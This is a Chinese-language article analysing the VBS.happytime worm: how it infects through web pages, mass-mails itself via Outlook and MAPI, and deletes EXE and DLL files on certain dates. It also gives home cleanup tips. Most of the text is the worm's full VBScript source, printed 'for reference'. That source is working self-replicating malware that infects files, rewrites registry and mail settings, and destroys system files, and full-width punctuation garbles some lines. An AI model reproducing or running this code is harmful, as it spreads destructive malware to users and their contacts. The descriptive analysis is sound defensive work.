标题：VBS.happytime
VBS.happytime病毒简介
简介VBS.happytime病毒危害程度很大，可以破坏 html、htm、htt、vbs 和 asp 文件的内容（被修改成病毒代码）；大量散发病毒邮件， 破坏 Windows 资源管理器中缺省的 Web 视图等。
高破坏性这种病毒是用VBSCRIPT语言编写的，其第一行写着　I　am　sorry，　happy　time.（意为对不起您了，欢乐时光。真是气死人不偿命！恶作剧的混蛋口说"Sorry"祝人"欢乐"？！）　本人不懂VBSCRIPT语言，但曾学过ⅥSUAL　BASIC，再翻了一些VBSCRIPT的资料，一番临时抱佛脚后，开始解读病毒源程序。由于缺乏相应资料加之本人水平有限，不能读懂每一行代码，只能看出个大概，但我越分析越心惊，这是个仅浏览网站页面就会感染的高传染性，高破坏性的病毒！
发病机制
先看一下此病毒的发病机制：
网页染毒感染系统文件首次染毒时，会将WINDOWS　\　WEB文件夹里的所有网页文件染上病毒，并找出这些文件中的任何EMAIL地址向它们发送病毒邮件，对方只要一打开即会染毒；以后每隔十秒钟发作一次，但发作完后仍驻留在内存，十秒一次的发作，再大的内存也会给蚕食殆尽；每次发作时，在普通的日子里，会找出一个后缀名为HTML、HTM、VBS、ASP的文件传染（别小看了每次一个文件，它可是十秒一次的发作哟！），并查出此文件中所有的EMAIL地址发送病毒邮件，在月份加天数为13的"特殊"日子里（1月12日、2月11日......12月1日），它每次发作会找出一个后缀名为EXE、DLL的文件（通常为重要的系统文件）来删除，使你的电脑彻底瘫痪；
发作该病毒在WINDOWS注册表内保存已发作的次数，每次发作时它检查已发作次数，如其是366的倍数，则向外乱发病毒邮件：如系统时间的秒数是偶数，则发送系统邮件，如是奇数，则到OUTLOOK的默任目录里取得EMAIL地址发送病毒邮件。　 
顺便说一句，由于此病毒发作频繁且乱发EMAIL，到月底结帐时，你可能要多付一大笔冤枉钱。
架构现在我们来看看这可恶的病毒的结构，看它是如何使得我们在浏览网页时即染毒的。　 
前面提到过，该病毒是用VBSCRIPT语言写成的，翻了一些资料，才知道VBSCRIPT是一种能增强网页功能的脚本语言，它嵌入HTML文件中，你浏览网页时，它也与HTML文件一起调入内存，由浏览器解释并执行。所以在你看到网页时，它其中所含的VBSCRIPT代码（如果有的话）已被执行，这样就很容易被心怀叵测者用来编制破坏程序。VBSCRIPT的设计者们也考虑到了这点，因此VBSCRIPT被设计成ⅥSUAL　BASIC的简化版，舍弃了一些"危险的"语句命令，所以VBSCRIPT是"安全的"，可用于网页的编制。确实光是VBSCRIPT的话确实无甚威胁，可是VBSCRIPT提供了创建并使用对象（OBJECT）功能，而WINDOWS提供大量对象给各种语言使用，利用这些对象你几乎能干任何事！比如说本病毒的许多破坏工作就是由创建并使用WSCRIPT（WINDOWS　SCRIPT即WINDOWS脚本语言）对象来完成的，所以可以这样说：VBSCRIPT是不安全的，是危险的！欢乐时光病毒就是个最有力的见证！　 
言归正传，我们还是来看看病毒的结构。　 
初始化部分 
初始化（建立SCRIPTLET.TYPELIB对象等） 
↓　 
当前是HTML状态？ 
是　↙　↘　否 
━━━━━━　━━━━━━━ 
↓　↓ 
在WINDOWS目录下有HELP.VBS文件吗？　运行主发作程序　 
↓　 
有　↙　↘　无　 
━━━　━━━━━━━　 
↓　⑶　↓　⑴　 
设置为每10秒钟调用一次　将本文件中的病毒代码以HTML格式存为　 
HELP.VBS　WINDOWS目录下的HELP.HTA文件，并调用HELP.HTA。　 
结束　结束　 
主发作程序 
↓ 
建立含有HTML，VBS，HTM，ASP的　后缀名表 
当前是HELP.VBS运行状态？ 
⑷　是　↙　↘　否　⑵
━━━━━━　━━━━━━━ 
↓　↓ 
如月+天为13则将后缀名表改为　用本病毒代码在WINDOWS目录下创　 
只包含EXE，DLL；　建HELP.VBS文件，及UNTITLE.HTM　 
文件；　 
将注册表中的HKEY_CURRENT_USER　 
Software\Help\Count病毒发作计数加1；　修改HKEY_CURRENT_USER\Identities　 
\用户标识号\Software\Microsoft 
\look　Express\5.0\Mail\下的键值：　 
Software\Help\File_Name待感染文件名　Message　Send　HTML改为1　 
取出，并按后缀名表找出下一待感染文件，　Compose　Use　Stationery改为1　 
存于此处；　Stationery　Name改为指向　untitle.htm　 
查出其中的EMAIL地址发送病毒邮件；　在WINDOWS\WEB目录下查找HTML，VBS，　 
HTM，ASP，HTT文件，在它们末尾如待　 
感染文件名是EXE，DLL文件则删除！　 
末尾添加本病毒代码，并查出其中的 
EMAIL地址发送病毒邮件 
用本病毒代码在WINDOWS目录下创建一个HTM文件并将其文件名写入HKEY_CURRENT_USER\Software\Help\Wallpaper及HKEY_CURRENT_USER\Control　Panel\desktop\wallPaper　 
以上流程基本解释了其发病机制，现在我对流程上()内的数字作一下说明：
一系列破坏任务刚开始接触本病毒时，我们一定是处于浏览含病毒的网页状态，也即是流程上的HTML状态，且此时硬盘上尚未有HELP.VBS病毒文件，所以病毒执行⑴分支，建立HELP.HTA病毒文件，并调用它。然后在HELP.HTA病毒文件运行时，此时它已不处于HTML状态，所以运行主发作程序，在主发作程序中，由于此时不是HELP.VBS运行状态所以运行⑵分支并建立HELP.VBS病毒文件，以后再遇见本病毒时，由于已有了HELP.VBS病毒文件，就执行⑶分支，设定为每10秒钟执行一次HELP.VBS，而HELP.VBS会执行主发作程序的⑷分支，完成一系列破坏任务。
防御此病毒听说现在已有了能杀此病毒的软件，具体我也不清楚。如你像我一样已不幸染毒，在得到杀毒软件前，首先应注意在"特殊"日子里不要开机，以免爱机成为死机；另外从流程可看出，本病毒只感染后缀名为HTM，HTML，VBS，ASP（以及WINDOWS\WEB下的HTT文件），所以你开机只至WINDOWS桌面出现都是安全的，把桌面的墙纸设为无，再次重新启动，注意不要使用我的电脑或是WINDOWS资源管理器，因为它们每次运行都要装入许多文件，极有可能激活病毒，你要处理文档最好进入DOS状态，在DOS下操作；注意不要看任何帮助信息，因为很多帮助文件都是HTML格式的。如你是编程好手，你可编个程序，检查硬盘中所有受感染后缀名为HTM，HTML，VBS，ASP的文件，并清除病毒，如你不会编程，又无杀毒软件，你只能用查找功能查出所有后缀名为HTM，HTML，VBS，ASP的文件，然后一一手工操作：重命名为TXT文件，打开检查，如文件尾有病毒则删除，保存后再改回原来的文件名，然后是下一个.......
安全第一但我们还要上网，还要浏览，即使我们有了能杀欢乐时光病毒的软件，谁能保证哪个家伙不会再写出诸如此类的病毒使我们受害？看来只有等微软出个能禁止VBSCRIPT，JAVASCRIPT，ACTⅣE　X........的浏览器来了。就我个人而言，情愿不要任何特效，只要安全。
源程序
最后，奉上欢乐时光病毒的源程序，供有兴趣者参考，如哪位高人能参透此程序，也请发表解析结果，让我们对次类病毒有更深认识。　 
我对源程序作了必要的缩进处理，以方便阅读。　 
欢乐时光病毒的源程序：　 
Rem　I　am　sorry！　happy　time 
On　Error　Resume　Next 
mload 
Sub　mload() 
On　Error　Resume　Next 
mPath　=　Grf() 
Set　Os　=　CreateObject("Scriptlet.TypeLib") 
Set　Oh　=　CreateObject("Shell.Application") 
If　IsHTML　Then 
mURL　=　LCase(document.Location) 
If　mPath　=　""　Then 
Os.Reset 
Os.Path　=　"C:\Help.htm" 
Os.Doc　=　Lhtml() 
Os.Write() 
Ihtml　=　"" 
Call　document.Body.insertAdjacentHTML("AfterBegin",　Ihtml) 
Else 
If　Iv(mPath，　"Help.vbs")　Then 
setInterval　"Rt()",　10000 
Else 
m　=　"hta" 
If　LCase(m）　=　Right(mURL，　Len(m））　Then 
id　=　setTimeout("mclose()",　1） 
main 
Else 
Os.Reset() 
Os.Path　=　mPath　&；　"\"　&；　"Help.hta" 
Os.Doc　=　Lhtml() 
Os.write() 
Iv　mPath，　"Help.hta" 
End　If 
End　If 
End　If 
Else 
main 
End　If 
End　Sub 
Sub　main() 
On　Error　Resume　Next 
Set　Of　=　CreateObject("Scripting.FileSystemObject") 
Set　Od　=　CreateObject("Scripting.Dictionary") 
Od.Add　"html",　"1100" 
Od.Add　"vbs",　"0100" 
Od.Add　"htm",　"1100" 
Od.Add　"asp",　"0010" 
Ks　=　"HKEY_CURRENT_USER\Software\" 
Ds　=　Grf() 
Cs　=　Gsf() 
If　IsVbs　Then 
If　Of.FileExists("C:\help.htm")　Then 
Of.DeleteFile　（"C:\help.htm") 
End　If 
Key　=　CInt(Month(Date）　+　Day(Date)) 
If　Key　=　13　Then 
Od.RemoveAll 
Od.Add　"exe",　"0001" 
Od.Add　"dll",　"0001" 
End　If 
Cn　=　Rg(Ks　&；　"Help\Count") 
If　Cn　=　""　Then 
Cn　=　1 
End　If 
Rw　Ks　&；　"Help\Count",　Cn　+　1 
f1　=　Rg(Ks　&；　"Help\FileName") 
f2　=　FNext(Of，　Od，　f1） 
fext　=　GetExt(Of，　Od，　f2） 
Rw　Ks　&；　"Help\FileName",　f2 
If　IsDel(fext）　Then 
f3　=　f2 
f2　=　FNext(Of，　Od，　f2） 
Rw　Ks　&；　"Help\FileName",　f2 
Of.DeleteFile　f3 
Else 
If　LCase(WScript.ScriptFullname）　<>；　LCase(f2）　Then 
Fw　Of，　f2，　fext 
End　If 
End　If 
If　（CInt(Cn）　Mod　366）　=　0　Then 
If　（CInt(Second(Time））　Mod　2）　=　0　Then 
Tsend 
Else 
adds　=　Og 
Msend　（adds) 
End　If 
End　If 
wp　=　Rg("HKEY_CURRENT_USER\Control　Panel\desktop\wallPaper") 
If　Rg(Ks　&；　"Help\wallPaper")　<>；　wp　Or　wp　=　""　Then 
If　wp　=　""　Then 
n1　=　"" 
n3　=　Cs　&；　"\Help.htm" 
Else 
mP　=　Of.GetFile(wp).ParentFolder
n1　=　Of.GetFileName(wp) 
n2　=　Of.GetBaseName(wp) 
n3　=　Cs　&；　"\"　&；　n2　&；　".htm" 
End　If 
Set　pfc　=　Of.CreateTextFile(n3，　True) 
mt　=　Sa("1100") 
pfc.Write　"<"　&；　"HTML><"　&；　"body　bgcolor=''#007f7f''　background=''"　&；　n1　&；　"''><"　&；　"/Body><"　&；　"/HTML>"　&；　mt 
pfc.Close 
Rw　Ks　&；　"Help\wallPaper",　n3 
Rw　"HKEY_CURRENT_USER\Control　Panel\desktop\wallPaper",　n3 
End　If 
Else 
Set　fc　=　Of.CreateTextFile(Ds　&；　"\Help.vbs",　True) 
fc.Write　Sa("0100") 
fc.Close 
bf　=　Cs　&；　"\Untitled.htm" 
Set　fc2　=　Of.CreateTextFile(bf，　True) 
fc2.Write　Lhtml 
fc2.Close 
oeid　=　Rg("HKEY_CURRENT_USER\Identities\Default　User　ID") 
oe　=　"HKEY_CURRENT_USER\Identities\"　&；　oeid　&；　"\Software\Microsoft\Outlook　Express\5.0\Mail" 
MSH　=　oe　&；　"\Message　Send　HTML" 
CUS　=　oe　&；　"\Compose　Use　Stationery" 
SN　=　oe　&；　"\Stationery　Name" 
Rw　MSH，　1 
Rw　CUS，　1 
Rw　SN，　bf 
Web　=　Cs　&；　"\WEB" 
Set　gf　=　Of.GetFolder(Web).Files 
Od.Add　"htt",　"1100" 
For　Each　m　In　gf 
fext　=　GetExt(Of，　Od，　m) 
If　fext　<>；　""　Then 
Fw　Of，　m，　fext 
End　If 
Next 
End　If 
End　Sub 
Sub　mclose() 
document.Write　"<"　&；　"title>I　am　sorry!" 
window.Close 
End　Sub 
Sub　Rt() 
Dim　mPath 
On　Error　Resume　Next 
mPath　=　Grf() 
Iv　mPath，　"Help.vbs" 
End　Sub 
Function　Sa(n) 
Dim　VBSText，　m 
VBSText　=　Lvbs() 
If　Mid(n，　3，　1）　=　1　Then 
m　=　"" 
End　If 
If　Mid(n，　2，　1）　=　1　Then 
m　=　VBSText 
End　If 
If　Mid(n，　1，　1）　=　1　Then 
m　=　Lscript(m) 
End　If 
Sa　=　m　&；　vbCrLf 
End　Function 
Sub　Fw(Of，　S，　n) 
Dim　fc，　fc2，　m，　mmail，　mt 
On　Error　Resume　Next 
Set　fc　=　Of.OpenTextFile(S，　1） 
mt　=　fc.ReadAll 
fc.Close 
If　Not　Sc(mt）　Then 
mmail　=　Ml(mt) 
mt　=　Sa(n) 
Set　fc2　=　Of.OpenTextFile(S，　8） 
fc2.Write　mt 
fc2.Close 
Msend　（mmail) 
End　If 
End　Sub 
Function　Sc(S) 
mN　=　"Rem　I　am　sorry！　happy　time" 
If　InStr(S，　mN）　>；　0　Then 
Sc　=　True 
Else 
Sc　=　False 
End　If 
End　Function 
Function　FNext(Of，　Od，　S) 
Dim　fpath，　fname，　fext，　T，　gf 
On　Error　Resume　Next 
fname　=　"" 
T　=　False 
If　Of.FileExists(S）　Then 
fpath　=　Of.GetFile(S).ParentFolder
fname　=　S 
ElseIf　Of.FolderExists(S）　Then 
fpath　=　S 
T　=　True 
Else 
fpath　=　Dnext(Of，　"") 
End　If 
Do　While　True 
Set　gf　=　Of.GetFolder(fpath).Files 
For　Each　m　In　gf 
If　T　Then 
If　GetExt(Of，　Od，　m）　<>；　""　Then 
FNext　=　m 
Exit　Function 
End　If 
ElseIf　LCase(m）　=　LCase(fname）　Or　fname　=　""　Then 
T　=　True 
End　If 
Next 
fpath　=　Pnext(Of，　fpath) 
Loop 
End　Function 
Function　Pnext(Of,　S) 
On　Error　Resume　Next 
Dim　Ppath，　Npath，　gp，　pn，　T，　m 
T　=　False 
If　Of.FolderExists(S）　Then 
Set　gp　=　Of.GetFolder(S).SubFolders
pn　=　gp.Count 
If　pn　=　0　Then 
Ppath　=　LCase(S) 
Npath　=　LCase(Of.GetParentFolderName(S)) 
T　=　True 
Else 
Npath　=　LCase(S) 
End　If 
Do　While　Not　Er 
For　Each　pn　In　Of.GetFolder(Npath).SubFolders
If　T　Then 
If　Ppath　=　LCase(pn）　Then 
T　=　False 
End　If 
Else 
Pnext　=　LCase(pn) 
Exit　Function 
End　If 
Next 
T　=　True 
Ppath　=　LCase(Npath) 
Npath　=　Of.GetParentFolderName(Npath) 
If　Of.GetFolder(Ppath).IsRootFolder　Then 
m　=　Of.GetDriveName(Ppath) 
Pnext　=　Dnext(Of，　m) 
Exit　Function 
End　If 
Loop 
End　If 
End　Function 
Function　Dnext(Of，　S) 
Dim　dc，　n，　d，　T，　m 
On　Error　Resume　Next 
T　=　False 
m　=　"" 
Set　dc　=　Of.Drives 
For　Each　d　In　dc 
If　d.DriveType　=　2　Or　d.DriveType　=　3　Then 
If　T　Then 
Dnext　=　d 
Exit　Function 
Else 
If　LCase(S）　=　LCase(d）　Then 
T　=　True 
End　If 
If　m　=　""　Then 
m　=　d 
End　If 
End　If 
End　If 
Next 
Dnext　=　m 
End　Function 
Function　GetExt(Of，　Od，　S) 
Dim　fext 
On　Error　Resume　Next 
fext　=　LCase(Of.GetExtensionName(S)) 
GetExt　=　Od.Item(fext) 
End　Function 
Sub　Rw(k，　v) 
Dim　R 
On　Error　Resume　Next 
Set　R　=　CreateObject("WScript.Shell") 
R.RegWrite　k，　v 
End　Sub 
Function　Rg(v) 
Dim　R 
On　Error　Resume　Next 
Set　R　=　CreateObject("WScript.Shell") 
Rg　=　R.RegRead(v) 
End　Function 
Function　IsVbs() 
Dim　ErrTest 
On　Error　Resume　Next 
ErrTest　=　WScript.ScriptFullname 
If　Err　Then 
IsVbs　=　False 
Else 
IsVbs　=　True 
End　If 
End　Function 
Function　IsHTML() 
Dim　ErrTest 
On　Error　Resume　Next 
ErrTest　=　document.Location 
If　Er　Then 
IsHTML　=　False 
Else 
IsHTML　=　True 
End　If 
End　Function 
Function　IsMail(S) 
Dim　m1，　m2 
IsMail　=　False 
If　InStr(S，　vbCrLf）　=　0　Then 
m1　=　InStr(S，　"@") 
m2　=　InStr(S，　".") 
If　m1　<>；　0　And　m1　<；　m2　Then 
IsMail　=　True 
End　If 
End　If 
End　Function 
Function　Lvbs() 
Dim　f，　m，　ws，　Of 
On　Error　Resume　Next 
If　IsVbs　Then 
Set　Of　=　CreateObject("Scripting.FileSystemObject") 
Set　f　=　Of.OpenTextFile(WScript.ScriptFullname，　1） 
Lvbs　=　f.ReadAll 
Else 
For　Each　ws　In　document.scripts 
If　LCase(ws.Language）　=　"vbscript"　Then 
If　Sc(ws.Text）　Then 
Lvbs　=　ws.Text 
Exit　Function 
End　If 
End　If 
Next 
End　If 
End　Function 
Function　Iv(mPath，　mName) 
Dim　Shell 
On　Error　Resume　Next 
Set　Shell　=　CreateObject("Shell.Application") 
Shell.NameSpace(mPath).Items.Item(mName).InvokeVerb 
If　Er　Then 
Iv　=　False 
Else 
Iv　=　True 
End　If 
End　Function 
Function　Grf() 
Dim　Shell，　mPath 
On　Error　Resume　Next 
Set　Shell　=　CreateObject("Shell.Application") 
mPath　=　"C:\" 
For　Each　mShell　In　Shell.NameSpace(mPath).Items 
If　mShell.IsFolder　Then 
Grf　=　mShell.Path 
Exit　Function 
End　If 
Next 
If　Er　Then 
Grf　=　"" 
End　If 
End　Function 
Function　Gsf() 
Dim　Of，　m 
On　Error　Resume　Next 
Set　Of　=　CreateObject("Scripting.FileSystemObject") 
m　=　Of.GetSpecialFolder(0) 
If　Er　Then 
Gsf　=　"C:\" 
Else 
Gsf　=　m 
End　If 
End　Function 
Function　Lhtml() 
Lhtml　=　"<"　&；　"HTML"　&；　">"　&；　vbCrLf　&；　_ 
"<"　&；　"Title>；　Help　<"　&；　"/HEAD>"　&；　vbCrLf　&；　_ 
"<"　&；　"Body>；　"　&；　Lscript(Lvbs()）　&；　vbCrLf　&；　_ 
"<"　&；　"/Body>" 
End　Function 
Function　Lscript(S) 
Lscript　=　"<"　&；　"script　language=''VBScript''>"　&；　vbCrLf　&；　_ 
S　&；　"<"　&；　"/script"　&；　">" 
End　Function 
Function　Sl(S1，　S2，　n) 
Dim　l1，　l2，　l3，　i 
l1　=　Len(S1） 
l2　=　Len(S2） 
i　=　InStr(S1,　S2） 
If　i　>；　0　Then 
l3　=　i　+　l2　-　1 
If　n　=　0　Then 
Sl　=　Left(S1，　i　-　1） 
ElseIf　n　=　1　Then 
Sl　=　Right(S1，　l1　-　l3） 
End　If 
Else 
Sl　=　"" 
End　If 
End　Function 
Function　Ml(S) 
Dim　S1，　S3，　S2，　T，　adds，　m 
S1　=　S 
S3　=　"""" 
adds　=　"" 
S2　=　S3　&；　"mailto"　&；　":" 
T　=　True 
Do　While　T 
S1　=　Sl(S1，　S2，　1） 
If　S1　=　""　Then 
T　=　False 
Else 
m　=　Sl(S1，　S3，　0) 
If　IsMail(m）　Then 
adds　=　adds　&；　m　&；　vbCrLf 
End　If 
End　If 
Loop 
Ml　=　Split(adds，　vbCrLf) 
End　Function 
Function　Og() 
Dim　i，　n，　m()，　Om，　Oo 
Set　Oo　=　CreateObject("Outlook.Application") 
Set　Om　=　Oo.GetNamespace("MAPI").GetDefaultFolder⑽.Items 
n　=　Om.Count 
ReDim　m(n) 
For　i　=　1　To　n 
m(i　-　1）　=　Om.Item(i).Email1Address 
Next 
Og　=　m 
End　Function 
Sub　Tsend() 
Dim　Od，　MS，　MM，　a，　m 
Set　Od　=　CreateObject("Scripting.Dictionary") 
MConnect　MS，　MM 
MM.FetchSorted　=　True 
MM.Fetch 
For　i　=　0　To　MM.MsgCount　-　1 
MM.MsgIndex　=　i 
a　=　MM.MsgOrigAddress 
If　Od.Item(a）　=　""　Then 
Od.Item(a）　=　MM.MsgSubject 
End　If 
Next 
For　Each　m　In　Od.Keys 
MM.Compose 
MM.MsgSubject　=　"Fw：　"　&；　Od.Item(m) 
MM.RecipAddress　=　m 
MM.AttachmentPathName　=　Gsf　&；　"\Untitled.htm" 
MM.Send 
Next 
MS.SignOff 
End　Sub 
Function　MConnect(MS，　MM) 
Dim　U 
On　Error　Resume　Next 
Set　MS　=　CreateObject("MSMAPI.MAPISession") 
Set　MM　=　CreateObject("MSMAPI.MAPIMessages") 
U　=　Rg("HKEY_CURRENT_USER\Software\Microsoft\Windows　Messaging　Subsystem\Profiles\DefaultProfile") 
MS.UserName　=　U 
MS.DownLoadMail　=　False 
MS.NewSession　=　False 
MS.LogonUI　=　True 
MS.SignOn 
MM.SessionID　=　MS.SessionID 
End　Function 
Sub　Msend(Address) 
Dim　MS，　MM，　i，　a 
MConnect　MS，　MM 
i　=　0 
MM.Compose 
For　Each　a　In　Address 
If　IsMail(a）　Then 
MM.RecipIndex　=　i 
MM.RecipAddress　=　a 
i　=　i　+　1 
End　If 
Next 
MM.MsgSubject　=　"　Help　" 
MM.AttachmentPathName　=　Gsf　&；　"\Untitled.htm" 
MM.Send 
MS.SignOff 
End　Sub 
Function　Er() 
If　Err.Number　=　0　Then 
Er　=　False 
Else 
Err.Clear 
Er　=　True 
End　If 
End　Function 
Function　IsDel(S) 
If　Mid(S，　4，　1）　=　1　Then 
IsDel　=　True 
Else 
IsDel　=　False 
End　If 
End　Function